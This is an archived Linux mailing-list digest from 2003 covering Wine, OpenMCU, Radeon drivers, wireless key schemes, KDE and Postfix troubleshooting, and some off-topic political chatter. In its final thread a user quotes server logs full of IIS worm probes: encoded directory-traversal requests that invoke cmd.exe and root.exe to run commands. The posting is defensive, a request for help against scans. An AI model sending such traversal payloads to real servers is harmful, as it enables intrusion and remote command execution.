Re: [expert] how to run VB application under linux

2003-03-14 Thread civileme
On Wednesday 12 March 2003 09:32 pm, James Sparenberg wrote:
 On Wed, 2003-03-12 at 21:50, PlugHead wrote:
  (Doh!  Re-post to the correct address.)
 
  In my (somewhat limited) experience with wine, it is possible to fix some
  of these problems by copying the appropriate windows DLL to
  wine/Windows/System directory.  (This may violate your EULA, if you care
  about such things.)
 
  -Jason
 
  On Wednesday 12 March 2003 11:29 pm, Preston-Campbell wrote:
   From what I have attempted to run, it depends upon the DLL's called in
   the VB app.  I have gotten a few simple VB programs to run under Wine
   but many fail at the install or when initializing.  Try it out and see.
  
   Brian
  
   On Wednesday 12 March 2003 11:22 pm, PlugHead wrote:
On Tuesday 11 March 2003 06:38 am, Eko Budiharto wrote:
 Hi,
  I have a VB application that runs under NT workstation to access
 MSSQL. I am planning to migrate the workstation into Linux. So it
 means I want to change the workstation into Linux, but I still want
 to run my VB application under linux. Is there anyway that I can
 run my VB application? I am looking forward to a favorable reply
 from you. Thank you.
   
Yup.  Just convert it to Java...  :)
   
Seriously, try wine/winex (or codeweavers wine), VMWare or some other
option that I can't think of at the moment.  Be warned that none of
them are perfect, so it may take some tweaking/experimenting...
   
-Jason

 Haven't used it but there is a program called Xbasic that might give you
 the ability to run it.  Or worst case, minor recode.  However for max
 performance... Eventually consider moving it to a more portable
 language, but for now... I hope this helps.

 OOps... just a though here... if it runs in DOS (not necessarily
 windowsXXX) it MIGHT run in DOSemu or one of the other emulators for
 DOS.

 James
www.xbasic.org has a nice rpm and a very nice language, similar to but much 
more powerful than Visual Basic.  It is also portable, being able to run on 
Windows and on linux.   To give you an idea of the power of xbasic, it 
compiles itself in less than 10 seconds on a Celeron 533, and it won't work 
without X or an emulator for it in windows.  Xbasic grids are much like 
Visual basic forms, but the code would have to be transferred.  Since it is 
using MSSQL it would be advisable to convert a copy of the database to 
postgresql or Mysql and there are programs available to do both.

Civileme




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Re: [expert] Videoconferencing and OpenMCU

2003-03-14 Thread Oscar Santacreu
El Jue 13 Mar 2003 22:46, escribió:
 --  Mensaje reenviado  --

 Subject: Re: [expert] Videoconferencing and OpenMCU
 Date: Thu, 13 Mar 2003 16:11:58 -0500
 From: Pierre Fortin [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]

 On Thu, 13 Mar 2003 20:14:46 +0100 Oscar Santacreu [EMAIL PROTECTED]

 wrote:
  Hi all,
  I need to setup a videoconference server, and I would like to use
  openmcu. I have downloaded the software from http://www.openh323.org,
  and I tried to run it in the server (linux mandrake 8.1)
  But when I connect to server using gnomemeeting, in the server I can
  read these messages:
  =
  [EMAIL PROTECTED] obj_linux_x86_r]$ ./openmcu -v -n
  OpenMCU Version 1.1.7 by OpenH323 Project on Unix Linux
  (2.4.8-34.1mdk-i686) Listening on port 1720
  Codecs (in preference order):
   Table:
 SpeexNarrow-8k{sw} 1
 SpeexNarrow-15k{sw} 2
 GSM-06.10{sw} 3
 MS-GSM{sw} 4
 G.711-uLaw-64k{sw} 5
 G.711-ALaw-64k{sw} 6
 LPC-10{sw} 7
 H.261-QCIF 8
   Set:
 0:
   0:
 SpeexNarrow-8k{sw} 1
 SpeexNarrow-15k{sw} 2
 GSM-06.10{sw} 3
 MS-GSM{sw} 4
 G.711-uLaw-64k{sw} 5
 G.711-ALaw-64k{sw} 6
 LPC-10{sw} 7
   1:
 H.261-QCIF 8
 
  Waiting for incoming calls for OpenH323 MCU v1.1.7
  Command ?
  Opening connection
  Incoming H.323 call from Oscar Santacreu [xxx.xxx.xxx.64] has not
  selected a room.
  Using room room101 as the default.
  Accepting call from Oscar Santacreu [xxx.xxx.xxx.64] using
  gnomemeeting/0.96.1 (OpenH323 v1.11.2) with room id room101
  Member ip$xxx.xxx.xxx.64:30008/15143 will not hear their own voice
  Started logical channel: sending SpeexNarrow-8k{sw} 2
  Started logical channel: sending H.261-QCIF 9
  Started logical channel: receiving SpeexNarrow-8k{sw} 1
  Started logical channel: receiving H.261-QCIF 8
  =
 
  But I can't see the remote image with gnomemeeting (maybe the server is
  not sending video signal?).
  When I disconnect, the server shows these messages:
 
  
  Room room101 is now empty
  ROOM HAS BEEN REMOVED (ReadVideo)
  Closing connection
  
 
  When a friend connects to server with Ms Netmeeting the server shows
  these messages:
 
  
  Opening connection
  Incoming H.323 call from antonio [xxx.xxx.xxx.63] has not selected a
  room. Using room room101 as the default.
  Accepting call from antonio  [xxx.xxx.xxx.63] using Microsoft®
  NetMeeting®/3.0 with room id room101
  Adding member ip$xxx.xxx.xxx.63:1138/11841 to list of
  ip$xxx.xxx.xxx.64:3/15144
  Adding audio buffer for ip$xxx.xxx.xxx.63:1138/11841 to connection
  ip$xxx.xxx.xxx.64:3/15144
  Adding audio buffer for ip$xxx.xxx.xxx.64:3/15144 to connection
  ip$xxx.xxx.xxx.63:1138/11841
  Member ip$xxx.xxx.xxx.63:1138/11841 will not hear their own voice
  ===
 
  But netmeeting is always waiting for a response, and never starts
  videoconferencing. Then, the server shows:
 
  ==
  Removing audio buffer for ip$xxx.xxx.xxx.63:1138/11841 from connection
  ip$xxx.xxx.xxx.64:3/15144
  Removing audio buffer for ip$xxx.xxx.xxx.64:3/15144 from connection
  ip$xxx.xxx.xxx.63:1138/11841
  Closing connection
  =
 
  While neetmeeting still waits for a response. In my computer, with
  gnomemeeting, I still can't see anything!
 
  I can't find anything in google about configuring openmcu under linux
  and clients under linux and windows. I really need to setup the
  videoconference server as soon as possible.
 
  Anybody can help me? Where can I find the documentation about openmcu?

 I only ever used audio on openmcu -- see http://pfortin.com/Linux/openmcu/
 -- so can't comment on video other than to point out port 1720 conflict
 with audio...

 Got most help at http://www.openh323.org/

  Thank you!
  Best regards!

 ---

Thank you,  Pierre,
After reading the document you specified, I tried to test openmcu running in a 
near computer (win32 version of openmcu) in the same subnet and it works.
The problem seems to be closed ports. The windows computer is in the same 
subnet that my Linux workstation, while the Linux server is in another 
subnet. The network administrator opened h.323 ports in the server net, and I 
have these ports opened in my computer too, but it seems to be that some 
ports in my subnet are closed to the server subnet.
I will consult this question to the network administrator, and if I can't 
solve the problem, I will re-ask the list.
Thank you!
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Re: [expert] New list Moderator (was) 9.1rc2 Hostname problem

2003-03-14 Thread Trevor
Mark,

 ROTFLMAO till I wet myself!!! alright, I yeild. since I can't find my
 @$$hole card at the moment I too am assured by the look of mr! you just
 crossed the line stare I get from my wife that I too can and do
 exercise my God given right to be an @$$hole on occassion when the
 situation permits and presents itself.

This must be the equivalent of our 'Royal Australian Order of Old Bastards' 
Card.  I've been a member for thirty years and proud of it.  Wish I'd had 
Linux then, it might have given me something else to do instead of getting 
into trouble every weekend.  :^)

Hey, Stephen, you an 'ol Bastard' yet?

 Regards
  Trevor Rhodes
===
Powered by Linux- Mandrake 9.1
Registered Linux user # 290542 at http://counter.li.org
Registered Machine #'s 186951,
Source :  my 100 % Microsoft-free personal computer.
===
  7:20pm  up 3 days,  8:45,  5 users,  load average: 1.03, 1.08, 1.08
-- 
The best thing for being sad, replied Merlin, beginning to puff
and blow, is to learn something.  That's the only thing that never fails.
You may grow old and trembling in your anatomies, you may lie awake at
night listening to the disorder of your veins, you may miss your only love,
you may see the world about you devastated by evil lunatics, or know your
honour trampled in the sewers of baser minds. There is only one thing for
it then -- to learn.  Learn why the world wags and what wags it.  That is
the only thing which the mind can never exhaust, never alienate, never be
tortured by, never fear or distrust, and never dream of regretting.  Learning
is the only thing for you.  Look what a lot of things there are to learn.
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Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

2003-03-14 Thread civileme
On Wednesday 12 March 2003 10:47 pm, Adrian Golumbovici wrote:
 Funny stuff which I don't really understand is that in installer I could
 select my radeon, and XFree86 4.3.0 with hardware acceleration with no prob
 and the test would show the X screen in my chosen resolution and colors,
 but after reboot X doesn't start anymore with the classical error that no
 screens were found.

 Is anything different in the X screen showed during the config test in
 installer and the way X starts normally?!?
 I would expect that if my hardware combination isn't supported, then also
 the test inside the configuration part of the installer would choke too...

 :/

 Best regards,
 Adrian
 - Original Message -
 From: civileme [EMAIL PROTECTED]
 To: [EMAIL PROTECTED]
 Sent: Wednesday, March 12, 2003 8:25 PM
 Subject: Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

  On Wednesday 12 March 2003 09:21 am, Adrian Golumbovici wrote:
   Hi mates,
  
   I managed to solve my crash problem with the A7V8X and 1GB of mem by
   changing it against a A7N8X :). Easiest sollution ever (but expensive

 tho

   :) ). Anyway, my problem now is that I am sick of running my Radeon as
   : Vesa.
  
   Till now agpgart doesn't want to load on this board (nforce2 chipset)

 even

   with agp_try_unsupported=1 and nvidia provides no driver for its agp

 beside

   the nvagp module in the drivers for their graphics cards. Since I have

 an

   ATI card I am not sure how to make it work in a better mode than vesa
   on

 my

   mainboard. I read a lot of things on the net and I can shorten the long
   story to the following:
  
   1. Some suggesting to try to install the NVIDIA rpm and then use the

 nvagp

   module with the ATI card. No answer from the original poster if it

 worked.

   :/
  
   2. The current kernel agpgart module lacks the description for this
   card and though some people offered to write the driver provided
   someone can help with collecting the needed info, the post was left in
   the air, so

 no

   news there...
   3. Some reported they managed to run their Radeon 9700 Pro as pci and

 not

   AGP on this type of motherboard, but also no details provided upon
   how

 to

   do that?!? PCI is a lot better than vesa anyway, but have no clue how
   to

 do

   that. They said they got 320fps in glxgears.
   4. Some said that AGP is needed just to do some texture loading(?!?
   whatever that is), but if the card has enough memory on the card
   (radeon 9700 Pro comes with 128MB) you don't absolutely need it and
   that you can run it as PCI (again?!? but again no clue how?!?) and
   works just fine

 (just

   a tad slower than if ran in AGP on other motherboards where agpgart

 support

   exists.
  
   I am as clueless as a baby in a topless bar :) about how to get the
   best out of my card under linux. I really want to try some gaming under

 linux,

   but with vesa mode and Mesagl I can go smoke a cigar till next frame

 comes

   on the screen Please help.
  
   Best regards,
   Adrian
 
  Well the truth is that the ATi boards are very poorly supported in linux,
  largely because tech info is so hard to get out of ATi, so drivers
  usually run a few generations behind the current ATi board models. 
  Recently ATi

 has

  shown some interest in providing drivers ...  If they would open the

 source,

  things would be much easier for all concerned.
 
  Civileme

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The installer runs without strict rules about the video, but the server proper 
does NOT.  That means there is some sort of screen sort-of working and that 
it can be displayed during installation.   When the server checks with 
strictness, errors are found which would cause screen crashes or other nasty 
events so it refuses to set up the device.

The proper solution is time; however, I think you will also discover that the 
ability of that NForce chipset is quite pleasant to the eye and relatively 
high performance.  Potentially, those NForce chipsets are the fastest of all 
if they ever get the enhancements in hardware and the drivers completely 
straight.  The bandwidth involved is for mostly communication between north 
and south bridge of the chipset where the video is built-in (potentially very 
very fast) and it is the equivalent of a Geforce card.  I have had great 
experiences with the A7N266-VM, though of course the driver is binary-only 
and the kernel is thereby tainted with an unknown, if you want 3D 
acceleration.

But the Radeon drivers eventually work.  It is just a huge job to 
reverse-engineer from a company as close-mouthed as ATi.  The 9700 will 
probably be supported by a later version of XFree.



Civileme

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Re: [expert] A7N8X and Radeon 9700 Pro under ML 9.1?!?

2003-03-14 Thread adrian . golumbovici
civileme schrieb:
 On Wednesday 12 March 2003 10:47 pm, Adrian Golumbovici
 wrote:
  Funny stuff which I don't really understand is that in
 installer I could
  select my radeon, and XFree86 4.3.0 with hardware
 acceleration with no prob
  and the test would show the X screen in my chosen
 resolution and colors,
  but after reboot X doesn't start anymore with the
 classical error that no
  screens were found.
 
  Is anything different in the X screen showed during the
 config test in
  installer and the way X starts normally?!?
  I would expect that if my hardware combination isn't
 supported, then also
  the test inside the configuration part of the installer
 would choke too...
 
  :/
 
  Best regards,
  Adrian
  - Original Message -
  From: civileme [EMAIL PROTECTED]
  To: [EMAIL PROTECTED]
  Sent: Wednesday, March 12, 2003 8:25 PM
  Subject: Re: [expert] A7N8X and Radeon 9700 Pro under
 ML 9.1?!?
 
   On Wednesday 12 March 2003 09:21 am, Adrian
 Golumbovici wrote:
Hi mates,
   
I managed to solve my crash problem with the A7V8X
 and 1GB of mem by
changing it against a A7N8X :). Easiest sollution
 ever (but expensive
 
  tho
 
:) ). Anyway, my problem now is that I am sick of
 running my Radeon as
: Vesa.
   
Till now agpgart doesn't want to load on this board
 (nforce2 chipset)
 
  even
 
with agp_try_unsupported=1 and nvidia provides no
 driver for its agp
 
  beside
 
the nvagp module in the drivers for their graphics
 cards. Since I have
 
  an
 
ATI card I am not sure how to make it work in a
 better mode than vesa
on
 
  my
 
mainboard. I read a lot of things on the net and I
 can shorten the long
story to the following:
   
1. Some suggesting to try to install the NVIDIA rpm
 and then use the
 
  nvagp
 
module with the ATI card. No answer from the
 original poster if it
 
  worked.
 
:/
   
2. The current kernel agpgart module lacks the
 description for this
card and though some people offered to write the
 driver provided
someone can help with collecting the needed info,
 the post was left in
the air, so
 
  no
 
news there...
3. Some reported they managed to run their Radeon
 9700 Pro as pci and
 
  not
 
AGP on this type of motherboard, but also no
 details provided upon
how
 
  to
 
do that?!? PCI is a lot better than vesa anyway,
 but have no clue how
to
 
  do
 
that. They said they got 320fps in glxgears.
4. Some said that AGP is needed just to do some
 texture loading(?!?
whatever that is), but if the card has enough
 memory on the card
(radeon 9700 Pro comes with 128MB) you don't
 absolutely need it and
that you can run it as PCI (again?!? but again no
 clue how?!?) and
works just fine
 
  (just
 
a tad slower than if ran in AGP on other
 motherboards where agpgart
 
  support
 
exists.
   
I am as clueless as a baby in a topless bar :)
 about how to get the
best out of my card under linux. I really want to
 try some gaming under
 
  linux,
 
but with vesa mode and Mesagl I can go smoke a
 cigar till next frame
 
  comes
 
on the screen Please help.
   
Best regards,
Adrian
  
   Well the truth is that the ATi boards are very poorly
 supported in linux,
   largely because tech info is so hard to get out of
 ATi, so drivers
   usually run a few generations behind the current ATi
 board models. 
   Recently ATi
 
  has
 
   shown some interest in providing drivers ...  If they
 would open the
 
  source,
 
   things would be much easier for all concerned.
  
   Civileme
 
 

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 - 
 
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 The installer runs without strict rules about the video,
 but the server proper 
 does NOT.  That means there is some sort of screen
 sort-of working and that 
 it can be displayed during installation.   When the
 server checks with 
 strictness, errors are found which would cause screen
 crashes or other nasty 
 events so it refuses to set up the device.
 
 The proper solution is time; however, I think you will
 also discover that the 
 ability of that NForce chipset is quite pleasant to the
 eye and relatively 
 high performance.  Potentially, those NForce chipsets are
 the fastest of all 
 if they ever get the enhancements in hardware and the
 drivers completely 
 straight.  The bandwidth involved is for mostly
 communication between north 
 and south bridge of the chipset where the video is
 built-in (potentially very 
 very fast) and it is the equivalent of a Geforce card.  I
 have had great 
 experiences with the A7N266-VM, though of course the
 driver is binary-only 
 and the kernel is thereby tainted with an unknown, if you
 want 3D 
 acceleration.
 
 But the Radeon drivers eventually work.  It is just a
 huge job to 
 reverse-engineer from a company as close-mouthed 

Re: [expert] Multi-profile Linux

2003-03-14 Thread James Sparenberg


On Thu, 2003-03-13 at 22:37, Peter Møller Neergaard wrote:
 On Wed, Mar 12, 2003 at 04:48:46PM -0800, James Sparenberg wrote:
  How have any of you solved this?  
 
 I agree with your experience: Mandrake does not provide nice support
 for roaming with your laptop (perhaps Starbucks is not widespread
 enough in France :-) ).  What makes it even more depressing is that
 Linux pcmcia package actually comes pretty much with the tools you
 need through the command cardctl.  However, Mandrake insists on having
 only one setting of the encryption key.
 
 So here is my solution:
 1) I have installed the pcmcia-cs package
 2) I have replaced /etc/sysconfig/network-scripts/ifup-wireless with
the attached script which incorporates a few bits from pcmcia-cs
package
 3) I have changed /etc/pcmcia/wireless.opts to include settings for
two schemes: a default unencrypted and my home zone.  This is done
with the following setting:
 
 # Lucent Wavelan IEEE (+ Orinoco, RoamAbout and ELSA)
 # Melco/Buffalo Networks WLI-PCM-L11
 # Note : wvlan_cs driver only, and version 1.0.4+ for encryption support
 home,*,*,00:60:1D:*|home,*,*,00:02:2D:*)
 INFO=Wavelan IEEE example (Lucent default settings)
 ESSID=any
 MODE=Managed
 KEY=------XX open
 ;;
 
 *,*,*,00:60:1D:*|*,*,*,00:02:2D:*)
 INFO=Wavelan IEEE example (Lucent default settings)
 ESSID=any
 MODE=Managed
 KEY=off
 ;;
 
 After this, all I need to do to change between the two keys are 
 
   cardctl scheme home
 
 or
 
   cardctl scheme default
 
 as root and then of course ifdown, ifup on the card.
 
 This is as seamless as I have been able to get it.  I can however
 still envy Micro$oft user's the ability for the driver to recognize
 the name of the network and set the key accordingly.
 
 /Peter

Peter thanks busy weekend ahead for me *grin*

James



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Re: [expert] KDE very slow in mdk9.1

2003-03-14 Thread James Sparenberg
On Thu, 2003-03-13 at 18:56, Gary Hodder wrote:
 It is the latest as of a couple of days.
 It boots up ok and is quick in text mode.
 When running kde it starts loading ok, brings up the kde box and goes through
 those items and then it disappears. All that is left is the blue screen, its
 just stops there, 20 mins later still only blue screen.
 (All that blue screen needs is Death written on it and it would remind me of
 winblows).
 Gnome dies at a similar stage as well.
 He's trying different video cards so we'll see how that goes.
 Looks like i've a lot more downloading to do.
 
 Thanks
 Gary.

Replace the line in /etc/hosts 

127.0.0.1localhost

with 

127.0.0.1localhost.localdomain   localhost 

and see if that brings it into line.

James

 
 On 13 Mar 2003 15:07:15 -0800, you wrote:
 
 
 Gary If he's downloaded and run the last iso's for RC2 then yes KDE was
 slow... do the needed updates from the latest in cooker (keep doing
 through the weekend and you'll have 9.1 release!) and you should notice
 a very large improvement.  On my 500mhz box here I run Ice but if I try
 to start Konq now it takes about 2 sec to start... so running in kde
 should be even faster. 
 
 James
 
  
  
  
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Re: [expert] KDE very slow in mdk9.1

2003-03-14 Thread et
On Friday 14 March 2003 03:49 am, James Sparenberg wrote:
 On Thu, 2003-03-13 at 18:56, Gary Hodder wrote:
  It is the latest as of a couple of days.
  It boots up ok and is quick in text mode.
  When running kde it starts loading ok, brings up the kde box and goes
  through those items and then it disappears. All that is left is the blue
  screen, its just stops there, 20 mins later still only blue screen.
  (All that blue screen needs is Death written on it and it would remind me
  of winblows).
  Gnome dies at a similar stage as well.
  He's trying different video cards so we'll see how that goes.
  Looks like i've a lot more downloading to do.
 
  Thanks
  Gary.

 Replace the line in /etc/hosts

 127.0.0.1localhost

 with

 127.0.0.1localhost.localdomain   localhost

 and see if that brings it into line.

 James

remember to restart the network about right here too 
as root without the quotes service network restart


  On 13 Mar 2003 15:07:15 -0800, you wrote:
  Gary If he's downloaded and run the last iso's for RC2 then yes KDE was
  slow... do the needed updates from the latest in cooker (keep doing
  through the weekend and you'll have 9.1 release!) and you should notice
  a very large improvement.  On my 500mhz box here I run Ice but if I try
  to start Konq now it takes about 2 sec to start... so running in kde
  should be even faster.
  
  James
  
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[expert] howto set default url-handlers for gnome2

2003-03-14 Thread Udo Rader
hi all,

I'm wondering how to set evolution (or anything else) as my default
mail-handler for all gnome2 applications (like galeon).

I don't see any url-handler item in the gnome-control-center, so has
anybody else got an idea how to do this?

thanks

udo

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[expert] four shots fired into Dell laptop Sunday (3/2) morning

2003-03-14 Thread David Jones
His laptop had to be running windoz caz Linux would have fought back 
LOL
http://www.thesmokinggun.com/archive/georgedoughty1.html

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Re: [expert] OT Linux user from Taipei familiar with available hardware

2003-03-14 Thread Tru64 User
Hi Tarvid,

If you dont mind sharing your findings. Looking for a
supplier to Tanzania for hardware.

_Thanks

Richard 


--- tarvid [EMAIL PROTECTED] wrote:
 I'd like to make contact with a Linux person who
 knows the hardware market in 
 Taipei to act as a purchasing agent on a small
 scale.
 
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Re: [expert] OT Linux user from Taipei familiar with availablehardware

2003-03-14 Thread Jack Coates
? Taipei, Taiwan -- off the coast of China. Tanzania, country in Eastern
Africa. Small time distributor in one is unlikely to have reach to the
other :-)

On Fri, 2003-03-14 at 06:46, Tru64 User wrote:
 Hi Tarvid,
 
 If you dont mind sharing your findings. Looking for a
 supplier to Tanzania for hardware.
 
 _Thanks
 
 Richard 
 
 
 --- tarvid [EMAIL PROTECTED] wrote:
  I'd like to make contact with a Linux person who
  knows the hardware market in 
  Taipei to act as a purchasing agent on a small
  scale.
  
  Jim Tarvid
  
  
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Re: [expert] OT Linux user from Taipei familiar with available hardware

2003-03-14 Thread Tru64 User
Sorry ALL,

I shouldn't have sent this to the public to begin
with, i meant to reply directly to person who sent
initial OT message.

It just happened that someone had asked me if I know
of distributors who can supply hardware parts directly
to Tanzania, instead of them having to buy from UK or
South Africa or in some cases, US, where a price
markup has been done already. This makes their
products unaffordable to the African market. 

Thats all. So i figured it wont hurt to
askthey worst case is a simple NO, and the
opposite can be glory to others.

_Thanks

Richard.


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 Tanzania, country in Eastern
 Africa. Small time distributor in one is unlikely to
 have reach to the
 other :-)
 
 On Fri, 2003-03-14 at 06:46, Tru64 User wrote:
  Hi Tarvid,
  
  If you dont mind sharing your findings. Looking
 for a
  supplier to Tanzania for hardware.
  
  _Thanks
  
  Richard 
  
  
  --- tarvid [EMAIL PROTECTED] wrote:
   I'd like to make contact with a Linux person who
   knows the hardware market in 
   Taipei to act as a purchasing agent on a small
   scale.
   
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Re: [expert] Boycotting MDL

2003-03-14 Thread Jim C
I'm making a statement of personal/political basis.
I figure that the French probably have as little control over their 
government as we here in the US have over ours.  I just wish the Middle
Eastern extremists could see this.

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Re: [expert] Php-nuke postfix not working

2003-03-14 Thread Joan Tur
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Es Divendres 14 Març 2003 01:16, en Todd Lyons va escriure:
 Joan Tur wrote on Thu, Mar 13, 2003 at 10:35:28PM +0100 :
  syslog after having ordered php-nuke to send the password to a user:
  - -
  Mar 13 23:26:54 quiniserver postfix/pickup[2999]: 8EE2BD789: uid=71
  from=apache
  Mar 13 23:26:54 quiniserver postfix/cleanup[3004]: 8EE2BD789:
  message-id=[EMAIL PROTECTED]
  Mar 13 23:26:54 quiniserver postfix/nqmgr[3000]: 8EE2BD789:
  from=[EMAIL PROTECTED], size=792, nrcpt=1 (queue active)
  Mar 13 23:27:01 quiniserver postfix/smtp[3006]: 8EE2BD789:
  to=[EMAIL PROTECTED], relay=mx3.wanadoo.es[62.37.236.139], delay=8,
  status=sent (250 OK id=18taCo-0001dS-00)

 That other server named mx3.wanadoo.es told you that it accepted it.  It
 took a total of 8 seconds for your mail server to connect to it, give it
 the message, and logout.  The problem is not your end.
So it should work (it does not)

 However, I really don't like the fact that it says it's from
 [EMAIL PROTECTED]  The remove server could be dropping it
 after it accepts it from you because it's not a valid domainname.
I haven't paid for one.  I am using quiniserver as hostname with no 
domainname in /etc/postfix/main.cf:
- --
Mar 14 20:05:48 quiniserver postfix/smtp[1691]: warning: My hostname 
quiniserver is not a fully qualified name - set myhostname or mydomain in 
/etc/postfix/main.cf
- --

Here's main.cf:
- --
#myhostname = restaurantecaribe.com
#mydomain = restaurantecaribe.com
- --

So no host nor domainname are set.  It's like this in my laptop and postfix is 
working (maybe apache accesses postfix in a different way?)

Any idea??  8-?

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[expert] 9.1 comming?

2003-03-14 Thread Francisco Alcaraz Ariza
I have removed the last bug I had for 9.1  (^_^)

I think 9.1 is ready to come.

I will be a great distributions, the Mandrake team has 
worked very well, draktools look pretty well and now seems 
that all are runing (even my digital camera has been 
instaled throughout a line in the fstab about usb-storage 
media).

I hope Mandrake could survive to its finnancial problems, 
there has been a great activity the last month (new 
releases, a book, ..

Anyway, I have the cooker from last mondey with some updates 
packages, so it is practically the real 9.1, but I am still 
nervous waiting for it.

(^_^) Happy for Mandrake 9.1, :-( sad because it seems that 
sooner millions of irakies will probably be fighted by the 
war.

Bad times for the freedom are coming, aren't they?
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Re: [expert] Boycotting MDL

2003-03-14 Thread civileme
On Thursday 13 March 2003 10:00 am, Ric Tibbetts wrote:
 I'm making a statement of personal/political basis.

 I'm personally boycotting Mandrake Linux. When the French remember who
 their firends are, and support them, then perhaps this American will
 return, and support the French again.

 Until then, you can kiss my American dollars good-bye.

 Ric

Wow...

I could see this if the company were placed to influene the French government, 
or if the staff were not international in nature and if the effort was not 
also international, but I bet you could be more effective reading your 
garment labels and the labels in the supermarket and not buying Made in 
France.

Mind you, I am not endorsing your position nor am I endorsing that of France.  
I just wanted to point out that in these days of global economy there are 
ways one people can influence another.  Of course becoming too influential 
has its hazards as well.  The global economy is tied tightly and the fall of 
one major player (anything bigger than Iraq or Iceland) will drag everyone 
down.

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Re: [expert] Suggestion to eliminate off topic postings

2003-03-14 Thread Todd Lyons
Vincent Danen wrote on Fri, Mar 14, 2003 at 12:03:35AM -0700 :
 
 Zero tolerance.  I'd like to see that done on all Mandrake lists.  The
 amount of time some of us spend wading through this junk boggles me.

In effect right now.  I read what's been posted to the list through the
night, after that, they're gone.

Blue skies...   Todd
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Re: [expert] Suggestion to eliminate off topic postings

2003-03-14 Thread Dave Laird
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On Friday 14 March 2003 11:43 am, Todd Lyons wrote:

 In effect right now.  I read what's been posted to the list through the
 night, after that, they're gone.

In few words, my Inbox says THANK YOU. gulp and so do I.  

Dave
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Re: [expert] Suggestion to eliminate off topic postings

2003-03-14 Thread Preston-Campbell
On Friday 14 March 2003 02:43 pm, Todd Lyons wrote:
 Vincent Danen wrote on Fri, Mar 14, 2003 at 12:03:35AM -0700 :
  Zero tolerance.  I'd like to see that done on all Mandrake lists.
   The amount of time some of us spend wading through this junk
  boggles me.

 In effect right now.  I read what's been posted to the list through
 the night, after that, they're gone.

 Blue skies... Todd

You think this is intolerable, I'm on a Linux Users Group mailing list 
for a group in a major US city.  The current flame war involves which 
user's mail server is [EMAIL PROTECTED] and why  F'ed up and very 
non-productive, but at least it has SOMETHING to do with 
computers/Linux, I guess.


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Re: [expert] Boycotting MDL

2003-03-14 Thread silkythreads
Well said Civileme

If you don't like this distropost your complaints somewhere else.
Alot of the contributors to this are not French your views represent
a NARROW MINDED LOOK AT THE WORLD !!  Ricdo you really think every
thing marked MADE IN AMERICA is ?Go boycott fried snails!!

Donna in Florida


 On Thursday 13 March 2003 10:00 am, Ric Tibbetts wrote:
  I'm making a statement of personal/political basis.
 
  I'm personally boycotting Mandrake Linux. When the French remember who
  their firends are, and support them, then perhaps this American will
  return, and support the French again.
 
  Until then, you can kiss my American dollars good-bye.
 
  Ric
 
 Wow...
 
 I could see this if the company were placed to influene the French 
government, 
 or if the staff were not international in nature and if the effort was not 
 also international, but I bet you could be more effective reading your 
 garment labels and the labels in the supermarket and not buying Made in 
 France.
 
 Mind you, I am not endorsing your position nor am I endorsing that of 
France.  
 I just wanted to point out that in these days of global economy there are 
 ways one people can influence another.  Of course becoming too influential 
 has its hazards as well.  The global economy is tied tightly and the fall of 
 one major player (anything bigger than Iraq or Iceland) will drag everyone 
 down.
 
 Civileme
 
 
 





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Re: [expert] MS crud

2003-03-14 Thread civileme
On Thursday 13 March 2003 01:57 pm, Jack Coates wrote:
 http://www.monkeynoodle.org/lrp/deworming.html

 On Sun, 2003-03-09 at 05:01, Gary Hodder wrote:
  Hi all,
  any way to stop getting over run with this crud.
  The start of each line has been removed to protect the guilty.
 
  Thanks
  Gary.
 
  xxx.xxx.com [ip-of-host] - - [09/Mar/2003:15:10:58 +1100] GET
  /scripts/root.exe?/c+dir HTTP/1.0 404 300
  1100] GET /MSADC/root.exe?/c+dir HTTP/1.0 404 298
  1100] GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 308
  v1100] GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 308
  1100] GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404
  322
  1100]GET/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/
 c+dir HTTP/1.0 404 339
  1100]GET/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/
 c+dir HTTP/1.0 404 339
  1100]GET/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1
 c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 355
  1100] GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
  404 321 1100] GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
  HTTP/1.0 404 321 1100] GET
  /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 321 1100]
  GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 321
  1100] GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
  400 305
  1100] GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 400
  305 1100] GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
  HTTP/1.0 404 322
  1100] GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404
  322 1100] GET /scripts/root.exe?/c+dir HTTP/1.0 404 300
  1100] GET /MSADC/root.exe?/c+dir HTTP/1.0 404 298
  1100] GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 308
  1100] GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 308
  1100] GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404
  322
  1100]GET/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/
 c+dir HTTP/1.0 404 339
  1100]GET/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/
 c+dir HTTP/1.0 404 339
  1100]GET/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1
 c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 355
  1100] GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
  404 321 1100] GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
  HTTP/1.0 404 321 1100] GET
  /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 321 1100]
  GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 404 321
  1100] GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
